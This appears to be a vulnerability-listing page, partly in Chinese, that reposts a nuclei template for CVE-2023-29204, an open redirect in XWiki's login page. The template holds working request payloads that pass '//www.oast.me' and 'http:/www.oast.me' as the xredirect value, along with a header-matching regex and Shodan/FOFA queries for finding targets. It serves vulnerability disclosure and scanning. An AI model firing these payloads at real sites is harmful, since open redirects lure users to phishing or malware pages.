CVE-2023-29204: XWiki - Open Redirect

日期: 2025-08-01 | 影响软件: XWiki | POC: 已公开

漏洞描述

XWiki Commons are technical libraries common to several other top level XWiki projects. It is possible to bypass the existing security measures put in place to avoid open redirect by using a redirect such as `//mydomain.com` (i.e. omitting the `http:`). It was also possible to bypass it when using URL such as `http:/mydomain.com`. The problem has been patched on XWiki 13.10.10, 14.4.4 and 14.8RC1.

PoC代码[已公开]

id: CVE-2023-29204

info:
  name: XWiki - Open Redirect
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Commons are technical libraries common to several other top level XWiki projects. It is possible to bypass the existing security measures put in place to avoid open redirect by using a redirect such as `//mydomain.com` (i.e. omitting the `http:`). It was also possible to bypass it when using URL such as `http:/mydomain.com`. The problem has been patched on XWiki 13.10.10, 14.4.4 and 14.8RC1.
  impact: |
    An attacker can redirect users to malicious websites, leading to phishing attacks or malware downloads.
  remediation: |
    Implement proper input validation and sanitize user-controlled input to prevent open redirect vulnerabilities.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-xwph-x6xj-wggv
    - https://jira.xwiki.org/browse/XWIKI-10309
    - https://jira.xwiki.org/browse/XWIKI-19994
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29204
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29204
    cwe-id: CWE-601
    epss-score: 0.09834
    epss-percentile: 0.92704
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,redirect

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/login/XWiki/XWikiLogin?xredirect=//www.oast.me"
      - "{{BaseURL}}/bin/login/XWiki/XWikiLogin?xredirect=http:/www.oast.me"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)oast\.me\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 490a0046304402205824f93ea7e8db24f310e4acdc259ef08bbd421c3a0361e817492d46df1616ea02206528d9a4bb538a9cce345484be866c35cf9ab0f32e9ba91963c5e98391a7efba:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-29204.yaml

相关漏洞推荐